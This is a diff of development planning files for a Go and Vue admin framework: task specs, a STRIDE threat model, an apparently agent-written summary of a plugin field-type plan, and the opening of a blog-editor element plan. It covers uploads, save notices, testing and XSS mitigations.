Uploads (D-18): formContext.ts adds FIELD_UPLOAD_EVENT = 'summer-upload' and FIELD_UPLOAD_RESULT_EVENT = 'summer-upload-result'. PluginField listens for summer-upload, posts the File as the single multipart part "file" to /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload with the same session and X-Requested-With handling api/files.ts uses (path values from the control props, record id 0 on create), and dispatches summer-upload-result on the element with {id, url} or {id, error} (the 422 message, or a localized generic failure for 413 and network errors). The SPA never hands the element a token or a function.
Lists (D-12.4): make ListView render a column whose type has no built-in renderer as plain text of the row value (the server already sent the ListValue string), if it does not already.
Notices (D-10, generic for any field type): formState.ts exports noticeLines(notices) returning a field name to message list map, where a notice with a locale reads "<LOCALE>: message". FormView keeps a notices ref, clears it when a save starts, and after a successful create or update sets it from result.data.meta.notices (absent means none); it passes it through FormGrid to FormField the same way it passes errors. FormField gains an optional notices prop rendered under the control as a status line in the existing warning callout tone (summer-callout--warning, role="status", referenced by aria-describedby), with text interpolation only, never as raw HTML. The saved toast appends the joined notice messages, so "Zapisz i zamknij", which navigates away, still tells the admin. adopt(result.data) already reloads the stored values; keep PluginField's echo rule, so the element gets the stored value exactly when it differs from element.value.
Tests: extend admin/tests/form/PluginField.test.ts with the ML wrapper (two locales, locale attribute, per-locale change), the upload round trip (mocked fetch: success, 422 message, network failure), the reload of a changed stored value, and isMLField on the formState helpers; FormField.test.ts with the notice line (literal text for an HTML-looking message, aria-describedby, none without notices); formState.test.ts with noticeLines (locale prefix, no locale, empty).
Docs and dist: docs/backend/field-types.md gains the full element contract (value, attributes, summer-change, summer-upload, summer-upload-result, the echo rule, --c-* only, no credentials), the translatable variant and how the admin shows notices; rebuild with npm --prefix admin run build and commit modules/boardwalk/dist with the SPA change as feat(admin), staged by explicit path.</action>
<verify>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree</automated>
<fails_when>Non-zero exit: a type error, any vitest file failing (including MLFields, FormView, ListView and the extended PluginField tests), check-admin-dist printing "modules/boardwalk/dist is stale", or TestDocsTree reporting a missing identifier or anchor.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "export function isMLField" admin/src/components/form/mlLocale.ts` prints one line, and FormView.vue, formState.ts and RelationChildModal.vue call isMLField.
- `grep -n "export function noticeLines" admin/src/components/form/formState.ts` prints one line, `grep -n "meta.notices\|meta?.notices" admin/src/views/FormView.vue` prints at least one line, and `grep -n "v-html" admin/src/components/form/FormField.vue` prints nothing.
- PluginField.test.ts passes its ML, upload (success, 422, network), stored-value reload and isMLField cases; FormField.test.ts and formState.test.ts pass their notice cases; the full vitest suite passes.
- docs/backend/field-types.md documents summer-change, summer-upload, summer-upload-result and notices.
- check-admin-dist passes with the rebuilt dist committed.
</acceptance_criteria>
<done>Translatable plugin fields switch locales like mlmarkdown, elements upload through the SPA without credentials, plugin list columns render, save notices show under the field and in the toast, and the docs describe the full contract.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| admin browser → cabana admin API | save bodies, upload bodies and field-type requests cross here (cookie or Bearer session) |
| plugin Go code → cabana | Decode, Load, ListValue and Upload run inside cabana's handlers and transaction |
| plugin element JS → admin SPA DOM | the element runs in the admin origin under CSP script-src 'self' |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.2-01 | Spoofing | compileFieldTypes alias registry | high | mitigate | Boot fails when an alias equals a core type or another plugin's alias, naming both owners; element tags must carry the owning plugin's prefix (checkWidgetTag) |
| T-16.2-02 | Tampering (stored XSS) | decodePluginFields | high | mitigate | Decode runs for the host value and for every non-default locale inside the save transaction; there is no write path for a plugin field that skips Decode except the equal-to-served skip, which by definition writes nothing |
| T-16.2-03 | Elevation of Privilege | fieldUpload route | high | mitigate | Backend guard, requireAjax (X-Requested-With) with the SameSite=Strict cookie, controller RequiredPermissions via protect, field context check, FormExtendQuery record scope for id != 0, 404 for fields without a plugin Upload |
| T-16.2-04 | Denial of Service | fieldUpload body | medium | mitigate | http.MaxBytesReader with http.body_limits.upload_bytes (413), exactly one multipart part |
| T-16.2-05 | Information Disclosure | PluginField / element | high | mitigate | The element receives only the value property and plain attributes; uploads are performed by the SPA; no token, cookie, function or Vue instance is ever passed (test asserts attributes only) |
| T-16.2-06 | Tampering | typeOptions to element | low | mitigate | Options reach the element only as a JSON attribute string; the SPA never renders them as HTML |
| T-16.2-07 | Information Disclosure | plugin errors | medium | mitigate | Only pact.FormFieldError messages (422) and FormFieldNotice messages (meta.notices) reach the client; any other Decode, Load or Upload error is an opaque 500 through lifecycleFailure |
| T-16.2-08 | Tampering | untouched skip | low | accept | An attacker who submits the served value only causes no write; the skip cannot store anything that Decode did not already accept |
| T-16.2-33 | Tampering (admin XSS) / Denial of Service | save notices (localizeNotices, FormField notice line) | medium | mitigate | A notice can quote attacker-written markup (for example a removed tag name); the SPA renders notices with text interpolation only, never v-html (acceptance grep and an HTML-looking-message test); cabana keeps at most 10 notices per field and locale and cuts each localized message to 500 runes, so a value with thousands of removed parts cannot inflate the response |
| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed by this plan: Go has no new dependency and the admin SPA builds from its committed lockfile |
</threat_model>
<verification>
- Task 1: baseline contract and schema tests pass and a human approved the API.
- Task 2: TestFieldTypeTracerSmoke and the regression set pass; PluginField vitest, OpenAPI check, dist check and TestDocsTree pass.
- Task 3: TestFieldTypeExpansionSmoke and the regression set pass; OpenAPI check, typecheck, TestDocsTree pass.
- Task 4: full admin vitest suite, dist check and TestDocsTree pass.
- Postgres-backed save, show and upload tests with a real record are written in plan 06 and run on a Docker host.
</verification>
<success_criteria>
- D-11 to D-15 implemented in pact, cabana and the SPA with fail-loud boot checks.
- D-03 server skip, D-10 notices (meta.notices only when a Decode reported something, shown under the field and in the toast, stored value reloaded) and refusal mapping, D-06/D-14 storage through the existing ML path, D-18 upload route in place.
- OpenAPI, TS types, dist, READMEs and docs updated in the same changes; no framework doc names a consuming application.
</success_criteria>
<output>
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md` when done, with the Task 1 reply, the final identifier list, commit hashes, and the smoke test results.
</output>

View File

@@ -0,0 +1,264 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 01
subsystem: admin
tags: [pact, cabana, admin-spa, field-types, custom-elements, i18n, uploads, openapi]
requires:
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
provides: bluemonday-era Journal plugin and the v0.1.17 framework release this API builds on
provides:
- pact plugin field type API (HasFormFieldTypes, FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError)
- cabana per-boot field type registry, compile checks, Decode/Load/ListValue runner, translatable storage through the ML path, untouched skip, meta.notices
- cabana FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldTypeAssets, FieldTypesResponse, FieldUploadResponse, FieldNotice, RecordMeta.Notices
- routes GET {api}/field-types and POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload
- admin SPA global field type loader, PluginField and MLPluginField element hosts, element uploads, save notices
affects: [16.2-02, 16.2-03, 16.2-05, 16.2-06, journal, payment]
actuals:
tokens: 62800
tasks: 4
commits: 5
plan_head_before: 0754a6e5ab88b1a4ad3b6fc3599a338490220077
plan_head_after: 4adb48a76e5bd81f589385d22fc82a5c55dcb3e7
tech-stack:
added: []
patterns:
- "Plugin capability registry built per Activate (compileFieldTypes) and passed down the compile functions; no package-level registry"
- "Untouched-value skip by canonical encoding/json comparison against the served value (Load of the stored value)"
- "Global plugin stylesheets owned by GLOBAL_STYLE_OWNER, never disabled by activateStyles"
key-files:
created:
- modules/cabana/field_type.go
- modules/cabana/field_type_upload.go
- modules/cabana/field_type_smoke_test.go
- modules/cabana/example_field_type_test.go
- admin/src/app/fieldTypes.ts
- admin/src/components/form/fields/PluginField.vue
- admin/src/components/form/fields/MLPluginField.vue
- admin/tests/form/PluginField.test.ts
- docs/backend/field-types.md
modified:
- modules/pact/capabilities.go
- modules/pact/README.md
- modules/cabana/form_schema.go
- modules/cabana/schema_types.go
- modules/cabana/registry.go
- modules/cabana/contracts.go
- modules/cabana/http.go
- modules/cabana/crud.go
- modules/cabana/field_ml.go
- modules/cabana/tx_context.go
- modules/cabana/list_schema.go
- modules/cabana/query.go
- modules/cabana/settings.go
- modules/cabana/relation.go
- modules/cabana/relation_form.go
- modules/cabana/relation_field.go
- modules/cabana/extension.go
- modules/cabana/admin_openapi.go
- modules/cabana/security_coverage_test.go
- modules/cabana/phase10_coverage_test.go
- modules/cabana/phase10_csrf_test.go
- modules/cabana/README.md
- admin/openapi/admin.json
- admin/src/api/schema.d.ts
- admin/src/api/types.ts
- admin/src/app/pluginAssets.ts
- admin/src/main.ts
- admin/src/views/LoginView.vue
- admin/src/views/FormView.vue
- admin/src/components/form/registry.ts
- admin/src/components/form/FieldRenderer.vue
- admin/src/components/form/PreviewField.vue
- admin/src/components/form/FormField.vue
- admin/src/components/form/FormGrid.vue
- admin/src/components/form/formState.ts
- admin/src/components/form/formContext.ts
- admin/src/components/form/mlLocale.ts
- admin/src/components/form/fields/MLField.vue
- admin/src/components/relation/RelationChildModal.vue
- admin/tests/form/FormField.test.ts
- admin/tests/form/formState.test.ts
- admin/tests/list/CellValue.test.ts
- modules/boardwalk/dist
- docs/backend/forms.md
- docs/backend/lists-and-filters.md
key-decisions:
- "pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the Task 1 checkpoint); plans 03, 05 and 06 must use the ctx form"
- "The plugin field type registry is built per Activate by compileFieldTypes and passed down; CompileForm, compileRegistry, compileList, compileRelations and compileSetting keep their signatures as nil-registry wrappers"
- "Only a pact.FormFieldError from Decode or Upload is a 422 (messages localized); every other plugin error, Load errors included, is the opaque lifecycle 500"
- "Untouched values (D-03 server half) are skipped on update when the canonical encoding/json of the submitted value equals the served value (stored host value or exact translation, then Load)"
- "FieldTypesResponse is the GET /field-types envelope {data, meta}; FieldUploadResponse is the upload data object {url}, served as Envelope[FieldUploadResponse]"
patterns-established:
- "Plugin field type: alias + element + assets + options + Go funcs; cabana owns routes, permissions, scope, locale storage, notices and the untouched skip"
- "Element contract: value property, plain attributes, summer-change, summer-upload/summer-upload-result; no credentials, --c-* only"
requirements-completed: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
coverage:
- id: D1
description: "pact field type API and cabana boot checks: alias collisions (two plugins, core type), element prefix, unknown keys, CheckOptions errors, settings/relation refusal"
requirement: D-11
verification:
- kind: unit
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeTracerSmoke"
status: pass
human_judgment: false
- id: D2
description: "Save decodes plugin values (FormFieldError 422, opaque 500 otherwise), meta.notices only when a type reported something, Show/save serve through Load, GET /field-types and form schema keys"
requirement: D-12
verification:
- kind: unit
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeTracerSmoke"
status: pass
- kind: unit
ref: "modules/cabana/example_field_type_test.go#ExampleCompileFormWithTypes"
status: pass
human_judgment: false
- id: D3
description: "Translatable types per locale through the ML path, per-locale notices, untouched skip on update, FieldWritesFromContext in Form hooks, ListValue list columns, upload route (201, 404, 403, CSRF, 413, 422)"
requirement: D-14
verification:
- kind: unit
ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeExpansionSmoke"
status: pass
human_judgment: false
- id: D4
description: "Admin SPA: global field type loader, PluginField/MLPluginField, element uploads, save notices under fields and in the toast, stored value reload, plugin list columns as text"
requirement: D-13
verification:
- kind: unit
ref: "admin/tests/form/PluginField.test.ts"
status: pass
- kind: unit
ref: "admin/tests/form/FormField.test.ts#save notices"
status: pass
- kind: unit
ref: "admin/tests/form/formState.test.ts#noticeLines"
status: pass
- kind: unit
ref: "admin/tests/list/CellValue.test.ts#plugin field type columns (16.2)"
status: pass
human_judgment: false
- id: D5
description: "OpenAPI, schema.d.ts, dist, READMEs and docs/backend/field-types.md describe the API with neutral names"
requirement: D-15
verification:
- kind: other
ref: "bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh && go test ./cmd/summer -run TestDocsTree"
status: pass
human_judgment: false
- id: D6
description: "Postgres-backed save, show and upload with a real record (id != 0 upload path, real transaction, real translation writer)"
verification: []
human_judgment: true
rationale: "No Docker on this host (RESEARCH Pitfall 11); plan 06 runs these on a Docker host"
duration: 34min
completed: 2026-10-10
status: complete
---
# Phase 16.2 Plan 01: Plugin field type framework Summary
**Plugins register value-bearing admin field types through pact.HasFormFieldTypes; cabana compiles, decodes (with localized meta.notices), loads, lists, uploads and stores them (translatable ones through the ML path, untouched values skipped), and the admin SPA hosts their custom elements globally with uploads and save notices.**
## Performance
- **Duration:** 34 min
- **Started:** 2026-10-10T08:53:13Z
- **Completed:** 2026-10-10T09:27:00Z
- **Tasks:** 4 (Task 1 checkpoint resolved by the orchestrator, Tasks 2-4 executed)
- **Files modified:** 51 (excluding the rebuilt dist assets)
## Task 1 checkpoint (resolved)
Baseline verify was run by the orchestrator (vet passed, 4 PASS lines, clean `git status --porcelain -- modules admin docs scripts`). Human reply, verbatim:
> adjust: ListValue(ctx context.Context, value any) string
Final identifier list used by Tasks 2-4: every pact and cabana identifier exactly as in the plan's `<interfaces>` block, except `pact.FormFieldType.ListValue` is `func(ctx context.Context, value any) string` (was `func(value any) string`). The element contract is unchanged (value property; attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload, summer-upload-result).
**Note for plans 03, 05 and 06:** they refer to `ListValue` and must use the ctx form; plan 03's Journal `ListValue` implementation receives `ctx`.
## Accomplishments
- pact: `FormFieldType` (Name, Element, Translatable, Scripts, Styles, Options, CheckOptions, Decode, Load, ListValue with ctx, Upload), `FormFieldValue`, `FormFieldDecoded`, `FormFieldNotice`, `FormFieldUpload`, `FormFieldUploadResult`, `FormFieldError`, `HasFormFieldTypes`.
- cabana boot: `compileFieldTypes` (alias shape, core-type and cross-plugin collisions naming both plugins, element prefix via `checkWidgetTag`, Decode required, option keys, assets through the extracted `readClientAssets`), passed to `compileRegistryWithTypes`; fields.yaml accepts a plugin alias with the general keys plus its options (`typeOptions`, `element`, `translatable` in the schema); `CheckOptions` at boot; settings and relation forms refuse plugin aliases; `CompileFormWithTypes`.
- cabana save/show: `liftPluginValues`, `decodePluginFields` inside the transaction (per locale for translatable types, untouched skip on update via `servedFieldValue`), `localizeNotices` into `RecordMeta.Notices` (`meta.notices`, max 10 per field and locale, 500 runes), `hydratePluginFields` (per locale), `FieldWritesFromContext` for Form hooks, `isMLField` routing translatable types through `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord`.
- cabana list and routes: plugin aliases as column types with `ListValue` in `projectRowCtx`; `GET /field-types`; `POST .../{id}/fields/{field}/upload` (`fieldUpload`), annotated, in `phase09Routes`, CSRF inventories updated.
- SPA: `loadFieldTypes` after boot and login, `loadGlobalStyles`/`GLOBAL_STYLE_OWNER`, `PluginField` (value/attributes/summer-change/echo rule/uploads), `MLPluginField`, `rendererForField`/`isRegisteredField`/`isMLField`, `noticeLines` with the notice status line in `FormField` and the saved toast, rebuilt `modules/boardwalk/dist`.
- Docs: pact and cabana READMEs, new `docs/backend/field-types.md` (registration, aliases, options, Decode/notices/refusal, Load, notices, translatable types, untouched values, companion columns, list columns, uploads, full element contract), links from forms.md and lists-and-filters.md.
## Task Commits
1. **Task 1: Confirm the pact API** - resolved by the orchestrator (no commit)
2. **Task 2: Tracer** - `1e20ace` (feat, pact), `717d46e` (feat, cabana + docs + OpenAPI), `83fa2f7` (feat, admin SPA + dist)
3. **Task 3: Go expansion** - `8fa92db` (feat)
4. **Task 4: SPA expansion** - `4adb48a` (feat)
## Smoke test results
- `go vet ./...` clean; `TestFieldTypeTracerSmoke` (15 subtests), `TestFieldTypeExpansionSmoke` (14 subtests), `TestPhase09ContractInventory`, `TestPhase09PermissionMatrix`, `TestFormSchemaCompile`, `TestFormSchemaRejects`, `TestListRelationSearchSmoke`, `TestEnabledLocalesDefaultFirstSmoke`, `TestPhase10CSRF`, `ExampleCompileFormWithTypes` pass.
- `go test ./...`: the only failures are the testcontainers suites that need Docker (permission denied on /var/run/docker.sock), the same set as before this plan; no non-Docker failure message.
- Admin: `npm run typecheck` clean, full vitest suite 77 files / 1190 tests pass, `check-admin-openapi.sh --check`, `check-admin-dist.sh`, `TestDocsTree` and `summer docs:build --check` pass.
- Neutral names: `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing.
## Decisions Made
See key-decisions in the frontmatter. In short: ListValue takes ctx (human), the registry is passed down per boot with nil-registry wrappers for existing callers, only `pact.FormFieldError` is a 422, untouched detection compares canonical JSON with the served value, and the two response types are an envelope (`FieldTypesResponse`) and a data object (`FieldUploadResponse`).
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 3 - Blocking] Route inventories outside the plan's file list**
- **Found during:** Task 3
- **Issue:** `TestPhase10CSRF` (counts 29 state-changing routes) and `TestPhase10Coverage/every unsafe mounted route is CSRF-walked` failed once the upload route was mounted.
- **Fix:** Added the route to both inventories (29 -> 30).
- **Files modified:** modules/cabana/phase10_csrf_test.go, modules/cabana/phase10_coverage_test.go
- **Commit:** 8fa92db
**2. [Rule 3 - Blocking] Docs Go snippets need src= references**
- **Found during:** Task 2
- **Issue:** TestDocsTree refuses a Go code block without `src=`.
- **Fix:** Added `modules/cabana/example_field_type_test.go` (`NotesPlugin.FormFieldTypes`, `ExampleCompileFormWithTypes` with output) and referenced it from docs/backend/field-types.md (synced with `summer docs:sync`).
- **Commit:** 717d46e
**3. [Rule 2 - Correctness] Strict error mapping for plugin code**
- **Found during:** Task 2
- **Issue:** `lifecycleFailure` passes a plugin-returned `ValidationError` or `ForbiddenError` through; the plan allows only `pact.FormFieldError` to reach the client.
- **Fix:** `fieldTypeFailure` maps only `*pact.FormFieldError` (messages localized) to 422; every other Decode/Upload error and every Load error is logged and becomes the opaque lifecycle 500.
- **Commit:** 717d46e
**4. Additional files touched for threading the registry and list values**
- modules/cabana/contracts.go (`Registry.fieldTypes`), modules/cabana/relation.go (`compileRelationsWithTypes`), modules/cabana/query.go (`projectRowCtx` with the request ctx for `ListValue`), docs/backend/lists-and-filters.md (plugin column types), admin/tests/list/CellValue.test.ts. `admin/src/views/ListView.vue` needed no change: `CellValue` already renders a column type it does not know as plain text.
**5. [CLAUDE.md] TDD commit shape**
- Tasks 3 and 4 are `tdd="true"`, but CLAUDE.md requires `go test ./...` green at every commit, so no failing RED test was committed. Task 3: the expansion smoke test was written first against compile stubs and failed on the planned behavior (`compile: ... unsupported column type notes`) before the implementation made it pass; test and implementation were committed together. Task 4: the SPA implementation was written before its tests in the same uncommitted change; the tests were then added and pass.
---
**Total deviations:** 3 auto-fixed (2 blocking, 1 correctness) plus 2 documented process/scope notes. **Impact:** no change to the planned API or behaviour; extra files are route inventories, a docs example and registry plumbing.
## Issues Encountered
- No Docker on this host: the Postgres-backed save, show and upload paths with a real record (the upload route with `{id}` other than 0, a real transaction and translation writer) are covered only by DryRun/unit smoke tests here; full coverage is plan 06 on a Docker host.
## Known Stubs
None.
## Next Phase Readiness
- Plans 02 (Journal editor element) and 03 (Journal Go integration) can build on this API; plan 03 must implement `ListValue(ctx, value)`.
## Self-Check: PASSED
- Created files exist: modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_type_smoke_test.go, modules/cabana/example_field_type_test.go, admin/src/app/fieldTypes.ts, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/fields/MLPluginField.vue, admin/tests/form/PluginField.test.ts, docs/backend/field-types.md.
- Commits exist: 1e20ace, 717d46e, 83fa2f7, 8fa92db, 4adb48a.

View File

@@ -0,0 +1,305 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 02
type: execute
wave: 1
depends_on: []
coupling_justified: ["16.2-01: shares only the element contract (tag prefix rule, value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid, events summer-change, summer-upload, summer-upload-result), which plan 01 fixes per D-13 and its Task 1 checkpoint cannot rename (only pact and cabana Go identifiers, none of which this plan references), so both execution orders produce the same names"]
files_modified:
- ../sm-journal-plugin/.gitignore
- ../sm-journal-plugin/package.json
- ../sm-journal-plugin/package-lock.json
- ../sm-journal-plugin/tsconfig.json
- ../sm-journal-plugin/vite.config.ts
- ../sm-journal-plugin/scripts/check-dist.sh
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
- ../sm-journal-plugin/assets/dist/blogeditor.js
- ../sm-journal-plugin/assets/dist/blogeditor.css
- ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json
- ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
- ../sm-journal-plugin/tests/blogeditor/corpus.test.ts
- ../sm-journal-plugin/admin.go
- ../sm-journal-plugin/README.md
autonomous: false
requirements: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
estimate:
tokens: 118000
raw_tokens: 118000
tasks: 3
confidence: low
must_haves:
truths:
- "D-16: the Blog Editor is the custom element golem15-journal-blogeditor built from sm-journal-plugin assets/src with a pinned Vite library build into assets/dist/blogeditor.js and assets/dist/blogeditor.css; the bundle is committed, embedded through admin.go's //go:embed list, and scripts/check-dist.sh fails when assets/dist differs from a fresh build; the host app needs no npm."
- "D-01: the element is a WYSIWYG editor on TipTap with a source tab; the source tab shows and edits the exact HTML string."
- "D-03: setting value and reading it back without a user edit returns the identical string for the imported-post fixture (footer, style, spans, figures, tables, entities); no summer-change is emitted until a user edit; editing one paragraph leaves every other top-level block of the fixture byte-identical in the output."
- "D-04: the toolbar offers headings, bold, italic, bullet and ordered lists, links, blockquote, tables, images, embeds and a raw HTML block; unknown block markup (footer, section, aside, header, nav, details, style, div) becomes a non-editable raw HTML card that renders its source as text."
- "D-05: an embed is inserted from a YouTube URL as exactly <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id; the admin editor never renders an iframe."
- "D-05 (editor half of the policy cross-check): tests/blogeditor/fixtures/editor-corpus.json holds the editor's own serialized output (embed, image with and without caption, table with header row, links, headings, bullet and ordered lists including one starting at 3, blockquote, inline marks, code, horizontal rule, hard break, and one document combining them); corpus.test.ts rebuilds every entry through editor commands and fails when the committed file differs, so plan 03 (Go policy) and plan 04 (layer mirror) test the real output; links the editor creates use only http, https, mailto or a relative URL."
- "D-18 (editor half): an image chosen with the file picker or dropped on the editor is sent as summer-upload {id, file}; on summer-upload-result {id, url} the editor inserts an img with alt text, inside figure with figcaption when a caption is given; on {id, error} it shows the error and inserts nothing."
- "D-13: the element follows the documented contract (value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload) and styles only through --c-* variables under its tag."
artifacts:
- path: "../sm-journal-plugin/assets/dist/blogeditor.js"
provides: "committed editor bundle"
contains: "golem15-journal-blogeditor"
- path: "../sm-journal-plugin/scripts/check-dist.sh"
provides: "dist drift gate"
contains: "diff -r"
- path: "../sm-journal-plugin/assets/src/blogeditor/serializer.ts"
provides: "lossless serializer with top-level block reuse"
contains: "serializeDocument"
- path: "../sm-journal-plugin/admin.go"
provides: "embed of the editor bundle"
contains: "assets/dist/blogeditor.js"
- path: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
provides: "the editor's own output, checked against both sanitizer policies"
contains: "data-embed"
key_links:
- from: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
to: "plan 03 classes/editor_policy_test.go and plan 04 vue-journal-layer tests/fixtures/editor-corpus.json"
via: "the Go test reads it in place; the layer keeps a byte copy that the phase gate compares"
pattern: "editor-corpus.json"
- from: "../sm-journal-plugin/admin.go adminFS"
to: "../sm-journal-plugin/assets/dist/blogeditor.js"
via: "//go:embed line, served by cabana as a field-type script (plan 03 declares it)"
pattern: "assets/dist/blogeditor"
- from: "golem15-journal-blogeditor summer-upload"
to: "admin SPA PluginField (plan 01)"
via: "bubbling CustomEvent answered with summer-upload-result"
pattern: "summer-upload"
prohibitions:
- statement: "The editor never re-serializes an untouched document and never uses editor.getHTML() as the stored value."
status: unresolved
verification: judgment
- statement: "The bundle uses no eval or new Function and injects no style tag (admin CSP script-src 'self'; injectCSS false)."
status: unresolved
verification: judgment
- statement: "The element renders no iframe and no live raw HTML in the admin; raw blocks show escaped text."
status: unresolved
verification: judgment
- statement: "The element never asks for, stores or sends credentials and never calls the public Journal media API itself."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
This plan's slice (user decision 1, plan 02): the Blog Editor custom element in `../sm-journal-plugin` (`assets/src` to `assets/dist`), with its own JS build, tests and drift gate, embedded in the plugin. Plan 03 registers it as the `blogeditor` and `mlblogeditor` field types.
## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 and D-10 amended)
The server no longer refuses unsafe markup. 16.1 replaced the regex gate with a bluemonday policy (`classes.SanitizeHTML`), and under amended D-10 every admin save stores the sanitized value and reports what was removed. Anything the editor writes that the policy does not allow would therefore vanish silently on save. Amended D-05 requires the editor's own output to pass both the Go policy and the layer's sanitize-html mirror byte for byte. This plan now (1) records that output as a committed corpus that plan 03 and plan 04 test against, and (2) limits the links the editor creates to the URL schemes both policies allow. The element still never sanitizes. Where RESEARCH or PATTERNS describe CheckHTML refusing, this plan's text wins.
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
## Decisions recorded here (Claude's discretion)
- **TipTap version (user decision 6):** keep 3.31.4, the version RESEARCH probed (lossiness, emitUpdate, trailingNode), behind a blocking human package check before the first install. An older 3.x was never probed, so pinning one would trade a known release-age flag for unverified behaviour.
- **Embed markup and allowlist (D-05):** exactly `<figure data-embed="youtube" data-id="ID"></figure>`, attributes in that order, no caption, id matching `^[A-Za-z0-9_-]{11}$`. YouTube is the only provider; the provider table in `embed.ts` and in the layer (plan 04) has one entry so another provider is one entry in each.
- **Untouched detection (D-03):** the element keeps the exact served string and returns it until a user edit (client layer); cabana also skips values equal to what it served (plan 01).
- **Top-level block reuse (RESEARCH A3):** included. Unedited top-level blocks keep their original bytes after an edit elsewhere.
- **Image without caption:** a plain `img` block; with a caption, `figure` with `img` and `figcaption`.
- **Links the editor creates (D-05, D-10 amended):** only `http`, `https`, `mailto` and relative URLs, the schemes both sanitizer policies keep; no `target`, `rel` or `class` is added. A stored link with another scheme, or with `target`/`rel`, is preserved in the editor but stripped by the server if the post is saved after an edit.
- **Policy corpus (D-05):** the editor's own output is committed as `tests/blogeditor/fixtures/editor-corpus.json`, rebuilt and compared by `corpus.test.ts` (set `UPDATE_CORPUS=1` to rewrite it). The imported-post fixture is deliberately not in it: it holds legacy markup (the style block, `target`, `rel`) that the server strips on an edited save.
## Artifacts this phase produces (this plan)
- Custom element `golem15-journal-blogeditor` (class `BlogEditorElement`), registered once by `assets/src/blogeditor/index.ts`.
- `assets/src/blogeditor/extensions.ts`: `preservationExtensions()`, nodes `rawHtml`, `figure`, `figcaption`, `embed`, mark `span`, extension `htmlAttributes` (global attribute map), table render override.
- `assets/src/blogeditor/serializer.ts`: `serializeDocument(editor, original)`, `captureBlocks(html, schema)`.
- `assets/src/blogeditor/embed.ts`: `EMBED_PROVIDERS`, `parseEmbedUrl(url)`.
- `assets/src/blogeditor/labels.ts`: `labelsFor(uiLocale)` with `en` and `pl` tables.
- `assets/src/blogeditor/toolbar.ts`: `buildToolbar(...)`.
- Build files: `package.json`, `package-lock.json`, `tsconfig.json`, `vite.config.ts` (build and vitest config), `scripts/check-dist.sh`, `.gitignore`.
- Committed bundle: `assets/dist/blogeditor.js`, `assets/dist/blogeditor.css`.
- Test files: `tests/blogeditor/fixtures/imported-post.html`, `tests/blogeditor/smoke.test.ts`, `tests/blogeditor/corpus.test.ts`.
- Corpus: `tests/blogeditor/fixtures/editor-corpus.json` (array of `{name, html}`), `isPolicyUrl(url)` in `extensions.ts` (the link URL rule).
<objective>
Build the Blog Editor custom element (D-01, D-03, D-04, D-05, D-13, D-16, D-18 editor half) as sm-journal-plugin's own JS build with a committed, embedded bundle.
Purpose: plan 03 registers this element as the Journal post and category content field type.
Output: package setup, element source, preservation schema and serializer, upload and embed UI, vitest smoke tests, committed dist, drift gate, embed line, README section.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
